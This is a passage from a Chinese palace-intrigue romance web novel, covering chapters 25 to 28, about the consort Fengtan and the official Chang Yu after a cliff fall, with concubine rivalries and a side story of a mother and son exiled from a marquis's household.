“......”
爹的！
逢潭没好气地将手里的衣衫，重重摔到他的身上，站立抱臂，嗔道：“....你个好没良心的！”
“亏得我累死累活地照顾了你一整夜，觉都不敢睡。半夜火灭了，自己都冷得要死，还担心着你，怕你受冻，又起来把衣裳脱给你。”
“合着我把你救活了，是为了让你把我气死吗？”
常聿微微敛眸，眼睛在铺面的衣衫上打转，齿间反复厮磨着她的话。
她说，担心。
“......”
*
“娘，”砚慈手足无措地站在常松萝身后，目光停留之处，是她那卷起的袖腕下，露出的青翠紫玉：“疼吗？”
常松萝闻言，连忙将袖子使劲往下拉了拉。
砚慈道：“娘，你是不是很疼.....”
常松萝轻轻捏了把他的小脸，全然一副无所谓的模样：“砚慈真乖，娘一点儿都不疼。”
“出门在外，哪有不受伤的？磕磕碰碰很正常啊~”
砚慈看着她，无声地张了张嘴，临到嘴边的话，几度又被他咽下。
常松萝自是注意到了孩童频频欲言又止的举动。于是，她主动开口询问道：“怎么了？是有什么话要和娘说吗？”
砚慈想了想，最后还是没有忍住，怯生生道：“.....这都快一个月了，爹还没消气吗？”
以往他犯了错，爹就算再生气，也不过半日就消气了。
为什么这次，都这么久了，侯府还没人出来寻他们回家呢？
常松萝抿了抿唇，强掩情绪，耐心和他解释道：“砚慈.....”
“咱们....不会再回侯府去了。”
砚慈稚嫩的小脸上，顿时爬满不解：“为什么？”
“侯府是咱们的家啊！”
哪有人是不回家的？
常松萝眼圈一息泛红，连带着语气都沾染上哽咽，道：“是娘的错，娘做错了事.....”
眼瞧着常松萝又要掉眼泪了，砚慈很懂事的也没再多说什么。
只是在这一刻，在他小小的心中，也逐渐意识到了一个残酷的事实。
从今往后，他都不能再在常松萝面前提起自己的爹了。
“......”
晌午的时候，还不待常松萝在家陪砚慈吃完饭，与她一道的几个工人，便来到家里招呼着她一起去地里干活了。
这是常松萝一月以来找的第三份活了。
曾经不管是在阁时，还是嫁到京城后，她也是个十指不沾阳春水的富家小姐，那双葱白酥玉的纤手，最多也就是窝在屋子里做个针线女工。
而如今，她却不得不用它，撑起家中的大梁。
即使常松萝一直有意往好了说，但砚慈知道，她其实很辛苦。
单从这半月以来，她手上所磨出的各处水泡，便能看出来。
砚慈静静地将这一切全都看在眼里，哪怕他心里都明白，却也不敢表现出来。
因为常松萝不想让他知道这些。
常松萝走的匆匆，连饭都没来得及吃两口。
砚慈埋头，三两下将自己碗中的大米扒拉干净，随后默默地抱起木盆，跟着村里的一批妇人，到河边洗衣。
“这娃娃真乖，”同样在河边洗衣的几个妇人，趁漂衣的间隙闲谈起来：“我都看见他好几次了。”
另一个妇人道：“真是，可惜摊上了那样一个娘。”
本就无聊，其她妇人一听这里有些乐头，来了兴趣，纷纷催促道：“陈四家的，你倒是快说来听听。”
“知道为什么她会带着孩子来咱们村吗？”
陈四家的看一眼埋头认真洗衣的砚慈，思索片刻，想着他一个奶娃娃听不懂大人的话。于是，便无所顾虑的同他们说道：“她娘啊，原是苏州一富商的女儿，自幼就与同样家世的男方结了亲。”
“可是你们猜，后来怎么着？”陈四家的敛声道：“京中的那位定信候，在下江南时，与她一见钟情了。”
“咱也没见过那定信候，到底是怎么个貌若潘安相，仅此一面之缘，竟就将她迷得，活像跟勾了魂儿似的。”
“之前那未婚夫，死活都不愿嫁了。非吵着闹着要跟定信候
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回京，她爹娘不允，便扬言要剃发出家做姑子。”
有人不禁惊呼：“我嘞个乖乖......”
陈四家的不以为意地轻笑一声：“你当这就完了？还没完呢！”
“这不，后来甚至不惜与家里断绝关系，如愿嫁给了定信候。两人成亲后，夫妻也恩爱了几年”说到这里，她朝不远处的砚慈扬了扬下巴：“没多久，就生了他。”
“那，那这小娃娃岂不就是侯府世子？！”
陈四家的大有深意地摇了摇头：“明面儿上是，骨子里还不知道流着谁家的血。”
“你当他们为什么放着侯府的舒坦日子不过，偏到咱们这穷乡僻壤的地方吃苦？”
“还不是她娘不检点，背着侯爷偷人，叫人给发现了！那定信候一气之下，就将他们娘俩扫地出门了。”
“.....”
一道清脆的棒槌进水的声音，引了她们的注意。
“....你，你胡说！”砚慈小手紧攥，奶声奶气地冲她们唬道。
陈四家的先是一愣，随即眨了眨眼，惊叹道：“你听得懂啊？”
砚慈小脸紧蹙，正如陈四家的一开始所想。他一个小娃娃哪里懂这些？
砚慈并不知道她们口中的“偷人”作何意思，但从她们谈笑间的语气中，足以见得不是什么美好的话。
在他眼里，自己的娘亲无辜受辱，被人闲谈诟病，下意识地便欲与她辩驳道：“你胡说八道！我娘才不是你说的那样！”
陈四家的满不在乎地耸了耸肩，道：“那你倒是跟咱们几个婶婶说说，你跟你娘为什么会来我们村啊？”
“我....我...！”
见面前的孩童胸脯起起落落好一阵，也没有说出个所以然来，陈四家的又道：“你娘没告诉你吧？”
“也是。她干了那么见不得人的事，料她也没脸告诉你。”
砚慈胡乱抹了把眼泪，抱起盆，一路哭着跑回去：“我不信！我不信！我不信！”
*
先前心尖的种种，在这一刻化作丝暖甘甜，温柔又强烈地抵到喉间，香腻的让常聿久久寻不回自己的声音。
“......”
又过良久，他终于哑着嗓子，问出了那个困顿他一整夜的问题：“....当时，为什么要挡在我面前？”
为什么……？
逢潭蓦然恍惚。
她眼睫轻轻颤抖，记忆中那个永远明媚似骄阳的小姑娘，逐渐与眼前之人交影重合。
小姑娘盈盈笑着，亦如往昔。
逢潭失神地僵在原地，连呼吸都停滞了。
她涩然开口，艰难地一字一顿道：“当时为什么要挡在我面前……”
这不是复述。
而是.....回绕在逢潭心底最深处，无法平息的低喃。
常聿眼见着她眸中无光聚泪，神迷意夺，似若生机被抽离。
他心脏不由自己地狠狠一刺，旋即待他从这股痛意中回过神来时，已然无意识地抬手，指腹拭掉她面颊的珠落。
眼角满溢的温泪，滑倒他的手心，将他烫地猛缩回手。
这算.....什么？
25. 玩桀
常聿薄唇紧绷，双臂僵持地垂在腰间两侧，做不出任何动作，亦说不出任何言语。
四周一切仿佛凝滞，逢潭眼眸唯剩一片空茫颓惫。
他静静观睨着她面上显露的每一处，欲图从中窥到一丝彰明。
常聿审识过千百人的神貌，见阅过各种形形色色。这些无一例外，都被他清明尽解。
然而此时，他面对着眼前的逢潭，却仿佛置身于她寂旷的幽瞳下，周身混沌，天旋地转，灰蒙蒙一片。
她也不过是个十几岁的小姑娘，眼中怎会翻涌如此恸创的神色？
常聿同逢潭无声地相觑，直至她的神绪被抽丝剥茧般慢慢拉回现实，眼帘中倒映出自己棱模的身影。
逢潭怔然轻抹脸上的湿意，眸底闪过须臾失措：“……”
水光潋滟的泪眼，在这一刻茫然地对上常聿投来的深邃目光，他的话腾然旋在脑中。
当时为什么要挡在我面前……？
“我....”逢潭敛了口气，欲言唇难启，头一回儿抱怯地回避了常聿的视线。
她该怎么说？
....当时下意识的反应，掺杂了太多情感因素在里头。
那是多少夜梦惊醒的遗憾和浑噩。
常聿于她而言，不过是临时借势互取的对象，除去两人利益之间的坦诚，逢潭并不以为此人值得深交信任。
常聿没吭声，玩桀地顶撩眉峰，无波无澜的神情下，藏着些许被她咽下的不言而喻的晦暗。
回味起先前脱口的那句话，百感的情绪涌动交织，他竟觉自己也变得矫情起来。
“......”
....算了。
反正，即使她说了，也是不由心的。
真真假假，不听也罢。
“....常聿。”逢潭温静开口，语气淡淡：“很多事情是不需要理由的。”
常聿对她昭然若揭的蹩脚推辞，感到嗤之以鼻。
他何尝不知她是在闪烁其词，模糊话意？
趁两人无话的间隙，逢潭又将他的话在心中细细斟酌了一番。
像常聿这种心思敏捷的高位者，对掌下之人索要的是无非就是一个“诚”字。
他们两人互相索取，她也图他们利益之间的“诚”。
犹如上次谢闻识的事情，若换做是她，她也必然不愿让常聿知晓自己的太多事。
刀剑无眼，只管在持刀者手中尽自己利刃之责，无需知道自己砍向的对象是谁。
既然常聿想得到她对自己的“诚”，那么她倒也无妨告诉他。
即使心中所对的对象另有其人，但....自己当时的确是真心使然不假，也算不得骗他。
思及此，逢潭诚然抬眸，试探地措词：“或许，你更想知道的是我的本意？”
闻此，常聿不免有一瞬失神。
在他心底一直渴求的那个答案，就这样被她一语中的宣之于口了.....？
“那我可以完全赤城，没有半点隐晦的向你坦白，”逢潭揣量他所现的神情，隐约有了底气，平心而论道：“今晚，我所做的所有，皆是发自内心。”
“是无关乎任何利益在里面的。”
“……”逢潭话落，常聿的眸色黑得像一块久化不开的浓墨。
见此景，逢潭小心翼翼地询问道：“....消气了？”
常聿旋即眼色一转，声调冷硬地“嗔呵”了一声。
他几时生过气？
难不成她方才所说的一切，又是在哄人的漂亮话？
“......”
逢潭心肺游荡之感不定，敏觉不对，忙在山雨欲来前，溜了个远。
她兀自忏悔，自己先前就不该趁人之危，呈口舌之快。
眼下常聿的精气神算是恢复了，即使残了一条胳膊，但男女力量始终悬殊，他应该也不会再给她扎人控制的机会了。
逢潭心中暗暗思怵，经她两次掉崖的经验，生与死都是各占一半一半。
但要是留在常聿手里.....那么下场便就只有一个。
她戒备地警视常聿的一举一动，一旦他有动手的意图，她一定会坚决不带犹豫的，立刻就从这里跳下去！
“.....你躲什么？”常聿攥住她的胳膊，感受到逢潭被他触及后浑身一个激灵。
逢潭几度尝试着挣脱他的束缚，谁知反倒叫箍着自己的力道愈加重了些。
“常大人，”于是，她主动示弱道：“咱们有话好好说.....”
常聿由着力道将她往自己身前一带，屈指扶掐住她的下巴，在她脸侧勾刮。
指尖摩挲皮肤带起似有若无的痒意，寒毛瞬间由着后背一路蔓生到逢潭颈侧泛起的鸡皮。
“贵人可否觉得，眼下情景，”常聿蓦然阴恻恻笑道：“分外熟悉.....?”
“……”这诡异的画面.....
别太离谱！！！
逢潭感觉自己此时此刻，活像是过年即将待宰的羔羊。
而常聿就是那在审量她品相的屠夫，欲意将她截头斩断。
逢潭睫毛微颤，道：“男女授受不亲，常大人这般行为怕是有些逾越了。”
常聿凛然掀眼，引视着逢潭目光落到他身上：“贵人现在才身感逾越.....？”
逢潭被他扼着，手忙脚乱地将他身上的浅色衣衫往中间合拢，正气凛然道：“是我小人之心，不该趁人之危。”
她避重就轻道：“不过，这里就你我二人....”
空谷间忽来一阵碎石沿壁滚落山底的声响。
“......”
蛮枝几人已然背过身。
逢潭默默捂脸，就着常聿胳膊被他箍进半圈的怀里，缩成一团。
常聿不甚在意地说：“....是吗？”
“......”
继而，逢潭又听他道：“衣裳。”
谁？
逢潭欲抬头，却反被抵不开的力度回压住。
蛮枝利落地脱了外衫，背着身交到常聿手里。
“贵人又在占我便宜。”常聿手指微微摩挲她的下巴的滑腻皮肤，好整以暇地在她耳畔轻语：“起来穿衣。”
“……”
这个没皮没脸的家伙！
逢潭闷声低嗔道：“....常聿，你别说了。”
见逢潭微恼，常聿很识时务地没再捉弄她。
*
待两人修整完衣着，蛮枝等人已然腾身上去了。
“……”
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逢潭瞧着洞前留垂而下的，两条拇指粗细的麻绳，敛容屏气地问道：“......我要把命交付给这两条脆皮绳子？”
常聿恢复了以往的慵散姿态，道：“不是。”
逢潭幸然松了口气。
常聿冲她挑了挑眉：“是一条。”
“什么？”逢潭顿愕地僵愣几秒，随即愁展于面。
且不说这绳子是否牢靠，就她这单杠拉不上一个的软绵绵臂力，要去赴一场毫无安全措施的徒步攀岩？
她梦都不敢这么梦。
逢潭贴在洞壁最外沿，晨曦的初晓洒在洞口，照的她面上憔悴之色尽显：“能不能......”
常聿斜睨她一眼。
逢潭抿了抿苍白的唇：“就是.....多下两条绳子。”
“把我绑了拽上去？”
常聿玩味地勾了勾唇角：“你想得到挺美？”
逢潭眸中水雾氤氲，哀凄恳求道：“......行吗？”
常聿微挑眉眼：“你觉得呢？”
见他似乎是不愿吃她这一套。
逢潭也了然没趣地敛了柔肠百结的楚楚堪怜之态。
正当她如履薄冰地朝一旁绳子迈开步子时，不曾想却被常聿从身后猛然拽住。
他这一下没有收力，险些将逢潭带到口坪的边缘。
随后，常聿漠然地凝注着她环在自己腰身的胳膊，明知故问道：“.....贵人这是？”
常聿他绝对是故意的！！！
逢潭语气生冷僵硬地回以：“常聿，你这样就没意思了。”
常聿静默看她片刻，不明从何时起，竟突觉自己乐观逗她之景。
“你...”还不待逢潭说完，常聿已然单手箍上她的腰侧。
常聿大言不惭道：“常某并非心胸狭隘之人，贵人即怕，那常某带贵人一把也无妨。”
“带？”
瞧着男人豪气云干的模样，逢潭瞬间恍然。
合着常聿这厮是会武功的！
“提醒贵人一言，”感受到逢潭心火呼之欲出，欲要发作。常聿先一步开口：“微臣这只胳膊是实打实的受了伤。”
“难保等下不小心拉扯到了，害的贵人掉下去......”
逢潭柳眉紧蹙，强硬地挤出一抹微笑：“常聿，我不会撒手的。”
言下之意是，如果他敢丢人，她必拖带着他垫背！
“哦？”环圈在自己腰间的手臂箍得愈发紧了，压住他的喘息起伏。常聿扯唇一笑，旋即脚下宛如踩云般飞了上去。
*
逢潭双脚才惺惺着地，紧接着便松力从常聿怀中脱开。
“贵人！”影莲从一众影卫中跻身上前，连忙扶住虚晃的逢潭。
逢潭定了定心神，春柳抚波的眉宇间皆是厌寒：“常聿，咱们绝交。”
“......”
常聿盯凝着那袭渐走渐远的果决背影，忽而轻笑。
啧。
小没良心的。
蛮枝从那会儿便注意到常聿左手臂的异样，忧心又不解。
“大人，您的手......”黏腻的血液顺着指尖滴落。
常聿漫不经心地垂睨一眼，道：“无碍。”
26. 挑拨
皇家寺院，沈家巡守，严丝合缝岂是随随便便什么人就能进的？
不日前，暗线递了消息，晋唐在流放地被人救走。
再到近几日，晋唐进京，期间过程进展的如此顺利，原不过是因一切皆由常聿从中推波助澜。
蛮枝接过常聿脱下的染血的衣袍，神情肉眼可见地焦虑：“属下不明，大人何故遭此？”
常聿随意扯下被血浸湿的布条，露出深痕可畏的伤口，顷刻稍顿：“不重要。”
昨晚情局，常聿孤身就是为了放线，明面上给予晋唐一个有机可乘的机会，吊他上钩。
继候在方圆百米的蛮枝，目送着晋唐随在常聿身后渐远，隐入山中。
然不想静等多时，却迟迟没有等到鱼儿收网的信号。
就在蛮枝欲循着他们消失的方向靠去时，恰将踌躇满志，准备离开的晋唐抓了个现形。
从他口中得知常聿坠崖，蛮枝怀揣着诸多疑虑和不解，携数名影卫在山下寻找了一夜。
天稍微见亮，万物尚未从睡意中醒转，除去蛮枝他们，唯剩面带焦躁的影莲，无头苍蝇一般的在外面突兀的乱转。
那丫头倒也是个机灵的，没有在第一时间惊动陛下，知道两家大人之间的往来，故将逢潭失踪的消息一并告知了他们。
蛮枝张了张嘴，视线落在他的左臂，欲言又止：“......”
虽说这点小伤，于他们早些年而言，就早已是家常便饭，不足挂齿。
可今时终归不同往日，常聿莫名受此，实为让人触目惊心。
“招了？”
蛮枝思绪回转，知常聿言下所想，了然答道：“是晟王。”
常聿闻之哂然一笑，唇齿轻启：“不知死的蠢货。”旋即他黑眸微转，语如柳絮轻抚湖面，轻飘无波：“动手吧。”
蛮枝应声，后在整理常聿衣物时，手下一顿。
他蓦地惊觉常聿随身的长匕没了踪影。
“……”
不知作何缘故，蛮枝的眼睛没来由得默默量寸上常聿伤口。
接着脑间轰然地震，一个细思极恐的想法在他心中蔓延。
莫不是……
*
时间匆促，接连宽衣梳洗，不待逢潭片刻休息，就又紧赶着动身前往帝后身边，参与第二日的拜诸神事仪。
来时路上，听闻影莲昨晚的行经处事，逢潭竟表意外，不吝夸赞道：“你做的很好。”
“贵人还说呢，险些吓坏奴婢。”影莲先前行事过于直言，有些时候难免会显鲁莽，而今倒也日渐沉下心来。
李婕妤见逢潭姗姗来迟，就着角落而站，悄然无声地就凑到她身边，低声道：“我瞧你今日脸色极差，可是昨儿个夜里睡得不适？”
何止睡得不适....
简直是差点没被常聿折腾死。
然即使此刻身心俱疲，逢潭却仍不忘待人接物的仔细小心。她浅浅一笑，算是无声的默认。
李婕妤见此，道：“无妨，我带了先前你给的安神药，回头散场你让影莲过来拿了回去。”
逢潭无意同她在这上面过多交涉，怕她寻根究底，于是顺承着点了点头：“多谢。”
“你还有闲时多管旁人呢？”
颖昭仪跟着李婕妤前后脚过来，一大早便说话夹枪带棒的，朝她言语讥讽道：“人家用你操心？”
先前李婕妤仗着身怀有孕，急于在一众嫔妃面前，抬高自己的一席之地。故气焰嚣张，行事浮躁张扬，言行举止下得罪了不少人。
李婕妤眼眶泛红，梗塞心口多日的委屈，受颖昭仪接连几番挑拨，再以难忍：“....嫔妾此般情遭，不过是应了虎落平阳，破骨万人捶罢了。”
颖昭仪闻言，登时忍不住嗤笑道：“虎落平阳？”
“虎在哪儿？”她摊手朝着四周寻找示意：“嗯？”
颖昭仪目色在她身上悠悠打着旋儿：“有的人出生即为无能猫儿，竟还痴心妄想地欲攀虎势？”
“未免也太自不量力了些。”
“你....！”颖昭仪的话，无疑是当头浇了李婕妤一头冷水，使她全身瞬间浑凉。
宽大的袖身下，李婕妤双手紧紧攥在一起，悲恨交加。
是啊。
就算她怀有龙嗣又怎样？在她们眼里，她依然摆脱不了骨子里的低贱！
下一刻，几人之间的龃龉引了慎贵妃的注意。
慎贵妃信步慵懒，不疾不徐地走到她们面前，凛然笑道：“你何需自降身份的同她浪费口舌？”
颖昭仪道：“贵妃娘娘明见，嫔妾原也不是有意寻衅滋事。以往看在她肚子里的龙胎尊面上，姐妹们对她稍有谦让。不曾想竟惯的她逾越尊卑，忒过目中无人了些。”
慎贵妃家世显赫，众星捧月的长大，向来眼高于顶，对李婕妤的鄙夷，与颖昭仪唯有过之而无不及。
因而她也无心管戒，顺意腌臜了句，在她眼中同样不老实的逢潭：“你也不必心怀侥幸。当初她怀有身孕，你与她交好，原没想过她会是个不争气的，命里无福，靠不住。”
“时过境迁，不过眨眼的功夫。”说着，她又对李婕妤道：“你日落西山，她飞黄腾达.....”
“不知心感如何，这声姐妹是否还叫的出口？”
李婕妤抿了抿唇，忍不住抬眼去看逢潭：“......”
逢潭不觉柳眉一低。
人贵在自重，在出身上，李婕妤太过自卑，自己便先轻视了自己。
“低微”二字是她心中始终过不去的坎，如若李婕妤自己就无法看开，任是旁人再如何帮她争辩，也亦是无用。
“你看毓昭仪做甚？”颖昭仪“啧”了一声：“人家才是一时没落的卧虎，不过借你上行，称你一声姐妹，真就以为跟你姐妹情深上了？”
“……”她们的话，说的太难听，逢潭太阳穴突突直跳，思量着该如何回以。
“哟，何事如此热闹啊.....”帝王阔步入堂：“竟连朕的慎贵妃都忍不住参与其中。”
众人闻声，锋芒尽收，齐齐行礼：“陛下万安。”
帝王的视线在她们身上一一扫过，最后落进李婕妤眼帘。
李婕妤紧张地手心直冒汗：“......”
这是自她小产后，帝王头一次正了八经地瞧她
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，心中幻想无数，帝王会与她说些什么慰藉的话。
她翘首以盼，忐忑期待着。
然帝王仅是瞥她一眼，接着无做他想地移开了眼。
“......”
颖昭仪嘴角的嘲意更甚。
帝王奇怪道：“你笑什么？”
慎贵妃上前挽住帝王的胳膊，解释道：“方才臣妾同几位妹妹说笑呢。”
默在一旁的皇后敛眼挑眉，自是不需多言，就瞧明白了其中的端倪。
她的言行向来取决帝王的态度，既然帝王无意去究，自己也没必要上赶着去充当贤良，只一味同帝王装傻充愣。
“你，面色不佳。”帝王忽而对逢潭道。
逢潭持了平宜的微笑，道：“谢陛下关心，李婕妤那儿有安神的药，嫔妾晚点过去讨来吃吃，睡上一觉就好了。”
“哎——”帝王却不然：“她那儿能有什么好东西？”
“只是稍后朕需得同几位大臣商讨要事，”帝王没有明白其中的话下之意：“等仪式结束，劳常卿替朕走一趟。”
常聿乖觉地点头应是，抬眸间隙轻觑一眼逢潭，然逢潭自始至终都未曾瞧看他一眼。
“……”挺记仇。
李婕妤眼色低黯：“陛下说的是，嫔妾原也用不起什么好东西，毓妹....”她话间一顿，继而道：“毓昭仪身子金贵，哪能用此寒酸之物。”
两人一瞬的对视，李婕妤率先低眼错开。
逢潭：“......”
从帝王神情所观，他并不觉得李婕妤的话有任何不妥。
皇后敛眉，转瞬即逝地蔑笑，替帝王结声：“陛下，吉时马上就要到了。”
帝王怀中拥着慎贵妃，不再多说。
李婕妤最后看一眼逢潭，随后在一旁自立而行。
帝后为首，众人随跟其后，朝满面神佛跪拜。
与此同时，不起眼的角落，一道凝灼的视线隔着泛泛人群，锁在逢潭身上。
逢潭神情微敛，与那人对上视线：“......”
他怎么敢露面？
*
好不容易熬到散场，较于以往，李婕妤不做任何示意的先逢潭一步离开。
“......”
见此景，逢潭倒也不觉有他。
李婕妤也该趁此好好的静静心了。
待人尽散去，逢潭才将将起身。
“小娘子，上次匆匆一别，原以为无缘再见。”面前拦住逢潭去路，锦袍华冠，风流绰姿的男人，除了谢闻识还能有谁？
逢潭莞尔，倒是笑的坦然：“一别数日，晟世子安好。”
手中折扇轻摇，谢闻识恣意道：“如你所见。”
“本世子一切都好。”
他倏而挑眉笑道：“只是小娘子.....哦不对，应该称呼您贵人....？”
“此番再见，倒实为让本世子另眼相待。”
“哦？”逢潭嘴角漾起柔婉的笑。
她眼睫微扬，随之问候道：“不知今而世子妃何在？”
谢闻识舔了舔牙尖，嘴角勾笑，正欲措词：“......”
27. 赖性（待修）
“这是......”
原已该随帝王远走的常聿，不知何时折转，此刻正背靠诸尊神佛梁下的朱漆红柱，掌执一玉雕珠簪，随意从容：“熟人相聚？”
待常聿施然踱步至二人面前。
谢闻识的视线在他手中稍作停息，眸光暗转：“......”
常聿慵容掀眼，挑眉道：“晟世子莫不是喜欢这女儿家的物件？”
谢闻识道：“这话不应同问常大人才是？”
常聿把玩其物，通体温润无暇，色泽极好，其珠簪顶端镶嵌着数枚大小不一的珍珠，此刻更是在他手中泛着柔和的光晕，观貌方知绝非俗物。
谢闻识不觉微微皱眉，道：“不知常大人从何得来此物？”
常聿唇角微扬，漫不经心笑道：“不值钱的小玩意罢了，世子若喜，赠你便是。”
说着，只见他随意扬手，一掷千金面不改色。
逢潭目视着常聿所举，暗暗翻了个白眼。
.....真是个狗大户。
“说什么？”常聿睨看她。
逢潭下意识绷直嘴角：“......”
她方才有说出声吗？无曾料想过他耳力这般好，故心虚装聋作哑地将他置之一旁没理。
常聿敛眼，眸光隐隐含带些许言说不清的暗芒：“......”
谢闻识指腹附在玉簪，通身细细摸索一遍，双手止不住颤抖。
为什么？为什么这只玉簪会在常聿手里？！
他明明已经将人藏的很好了！常聿又是如何得知的？！
难道……？！
思及此，谢闻识的面色随即陡然一变，惊怔开口：“你.....你.....”
逢潭见此不由心觉起一阵莫名。
那簪子是何来头？
竟能让谢闻识如此慌乱恐惧？
常聿齿冷道：“世子如此情激，倒险些叫人以为，本官赠予的并不是一支玉簪，而是位....美人儿？”
“为何这支簪子会在你手中？？？”谢闻识脸色铁青，冷舒一口气，急言问道：“.....她人呢？！”
常聿道：“杀了。”
“你说什么？”谢闻识闻此稍愣。
“我说，”常聿薄唇噙着惬意，不紧不慢地重复一遍：“...杀了。”
谢闻识从恍惚中惊觉，瞬时怫然。
他常聿向来是说得即做得。
谢闻识几度欲走到人前，可碍于自身局况，不得在人前现身，故怒气在体内灼烧，避光的阴影下，看不清他面上神情，唯有一双眼眶红的充血：“锦染不过一手无缚鸡之力的娇弱女子，你怎能？！你又怎么忍心……？！”
常聿行至今日，走到现在的地位，杀与不杀历来都是他想与不想，还从未有过什么人是他杀不得的。
谢闻识的寥寥几句，于他不过听风过耳，无足轻重：“本官不似世子，持有一颗怜弱之心。凭何不忍心？”
“一个女人而已。”常聿不以为意地冷嗤一声：“世子又何需动怒？”
“与其最后落入世子妃手里，倒不如让她在我这里死个痛快。世子理应感谢我才是。”
谢闻识心口呛了气，疼的眼泪直冒：“感谢你？”
常聿态度顽劣道：“不妨坦言告诉世子，那女人死时面目全非、血肉模糊、肢体残破、死相极为惨烈……”
血肉模糊……
肢体残破……
脑中不自觉浮现画面，谢闻识倏而双膝一软，瘫跪在地上。
常聿好整以暇地挑了挑眉，旋即目光落在逢潭身上。
偏逢这时小腹一阵翻江倒海的绞痛，逢潭面色惨白地不由倒吸一口凉气。
男人眼中掠过一丝异样：“......”
*
是夜，逢潭身着素衣，从盥室沐浴完后回到厢房。
昏黄的油灯下，凛骨姣貌的青年，不请自来地兀自坐在桌前，似是已经等了她许久。
逢潭气性来的快，去的也快。一天下来，诸事早已翻篇不记。何况她现在才将站起脚，往后的时日还多着，她也不愿损失常聿这一良将。可....忽忆起今晨，自己扬言下“绝交”二字时的决绝，又怕被常聿以此作笑。
在心中暗戳戳进行衡量一番后，逢潭以为，这个时候还是用从前她惯以示人的方式，先应对着，最为稳妥。其余的等回了宫以后再说。
“......”
逢潭的目光轻轻掠过常聿，眼神中透露着毫不遮掩的冷淡，旁若无人地从他手边拿起一块干布，就着一旁坐下擦拭湿漉漉的长发。
常聿不言，一双黝黑含情的狐狸眼，目光如炬，静静地凝看着她。
逢潭垂目不斜，恬淡无澜的表面下，寒毛早已频频直竖。她看不见常聿眼中情绪，只觉在他的注视下，倍感心悸压迫，总觉自己身边坐的不是一个人，而是只....欲食人果腹的狐狸精。
“......”
气氛静谧的诡异。
逢潭被他盯地直犯怵，终是有些坐不住，眼睛不受控地偷偷觑了狐狸精一眼。
谁知面前的这只狐狸精，视线从始至终就未在她身上离开过。她方才的小心翼翼，刚好落入他的眼。
逢潭道：“......你来干什么？”
常聿敛眼观她神情，静默良久，才哂然轻呵道：“原也知道惹了贵人嫌，非属情迫也不愿腆着脸来打扰贵人。”
仅一句话，逢潭便闻觉他今日的不对，须臾之间，略显疑惑地蹙眉看他。
常聿没有说话，似若无意地垂眸看了一眼手臂。
逢潭随之视线，着手撩开衣袖去瞧，旋即凝目惊骇道：“你没去找太医瞧一眼吗？”
常聿满不在意道：“一帮老家伙，没什么好看的。”
“......”逢潭语噎。
思怵起昨晚情景，应是这些年来，常聿同敌对结下的私人恩怨。如此想来，倒也有些理解他的难言，假使让过多人知晓，唯恐会传到帝王耳里，徒增更多棘手之事。
常聿瞩视着逢潭，目色渐深。
逢潭瞥一眼方桌上，先前放凉的药，心下微动。随后，起身将药推放至他面前。
常聿皱眉：“这是什么？”
逢潭故意说的隐晦：“药啊。”
常聿：“......”
逢潭狡黠一笑：“大人不敢喝？”
常聿看一眼她，又低眸看一眼药，说不上情愿，却又饮的果断。
逢潭也在这
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时起身，去寻了药箱过来。
她细视着常聿手臂缝合的伤口，眼底涌出几许怪异的欣赏之色，逢潭直言道：“虽说当时光线昏暗，缝的多少也带点个人恩怨在里头....”
“但我这手艺，”说着，她比拟上他身上伤疤，道：“比起你腰腹后背的那些，缝的简直要好看太多了。”
她无做他想，话说的坦然又赤裸，常聿耳根有些发热：“......”
一阵沉默后，逢潭倏然抬眼看他，略带制控地握住他的手腕，另一只手行的一个飞捷，转而笑的阴森，问道：“疼不疼？”
常聿：“......”
伤口处，犹如万蚁噬心，密密麻麻的啃食，揪心的痛意。他知晓她是故意，却也没见丝恼。
逢潭的目光渴求，常聿道：“....疼。”
如愿听到这个字，今晨恶气已出，她神色也豁然开朗：“你活该。”
“就是要让你疼。”
“......”
她手温微凉，常聿轻敛眼睑，目光全然落放在自己腕间。
脑中忆起白日，与谢闻识说话时，逢潭惨白的脸。鬼使神差之下，也不知自己怎的就开口问了她：“今日之事，你所感如何？”
逢潭没有抬头，乌黑的眼睫似鸦羽折下，毛茸茸的泛起弧度：“何感？”
常聿没有说话，一时觉起自己以往的行经卑劣难堪，不知该如何启齿。
逢潭对他没来由的话，心感不明。想了想，觉得他应该是在说谢闻识的事，无做他想，故便道：“若你是说先前那会儿，确有一些令人好奇的地方。”
起先，逢潭倒是还为常聿，当时所言的歹行心生恶寒。
谁知继而听到后面，只觉他口中话，说的愈发没个正形，幡然恍悟他是故意为之。
那谢闻识朝三暮四，赖性风流。连姜润玉对其都只能是泪眼凝噎。
这样的一个人，有朝一日竟能见他因一女人尽表焦急慌乱......实为罕事。
不过......
逢潭继而道：“但，一码归一码。事不关己，我无意去深究。”
不待她说完，常聿道：“先前我曾问过你，‘你可知为何此番会是沈家二子随从护携’，还记得吗？”
逢潭淡淡应道：“记得。”
“......”
旋即此，她思绪一顿，手下失了轻重，上药的动作蓦然落下。
接着，明显可见常聿眉心微蹙。
逢潭一时慌了神绪，下意识地反应，轻轻在他伤口处吹了吹：“....我不是故意的。”
常聿眼底眸光渐黯，没有说话。
逢潭已然收回手，却觉腕间的腻凉之感久未消散。他道：“姜沈两家不睦多时，姜家与晟王府结亲，无疑就是在给沈家送上自己的把柄。”
见常聿对此仿若无意隐瞒，逢潭想了想，而后道：“所以....你的意思是说，沈家是奔着谢闻识来的？”
可是，沈家才刚回京，慎贵妃也仅是知晓此事，他们从何得知谢闻识被藏在这儿里的？
瞧着常聿似笑非笑的模样，回忆起初到这里时，与他窥见谢闻识与姜润玉吵架一幕，逢潭心下一晃，道：“莫不是你.....？”
28. 设局（待修）
夜里起了风，窗户被骤然吹开，折打墙壁回弹，发出“哐当”一声巨响，逢潭被吓的蓦地浑身一颤。
常聿见状，眉心一压，眼中闪过一丝不易察觉的柔情。
他起身走到窗前，将窗户紧紧掩上，隔绝了外面的风嚎喧嚣与寒冷。
“起风了，你还不回吗？”逢潭的声音低婉，在静谧的夜里显得愈发温柔。
才将发过高热，也不知现下如何。若是今夜再着了风，明日怕是要有他难受的了。
然而，这话听到常聿耳里，意思却是大相径庭，仿若一道不带有任何感情的雷厉逐客令，令他心中涌起一股莫名的失落。
“......”
逢潭见他站在窗前半天没动，思索片刻，起身走到他面前。
常聿身量纤长，逢潭个子虽也不矮，可是在常聿面前，也不过堪堪到他下巴。
下一刻，她伸手轻抚上常聿的额头，手心温度亦如昨夜。想到他大抵这样撑了一天，逢潭不由心生怜悯。
难怪今晚他言举如此乖觉怪异。
常聿的身体随着她触过来的动作，微微一颤，似是被额间的温凉惊醒。
他眸中水光闪了闪，含溢着复杂情愫。
逢潭不觉蹙眉，问：“你没感觉吗？”
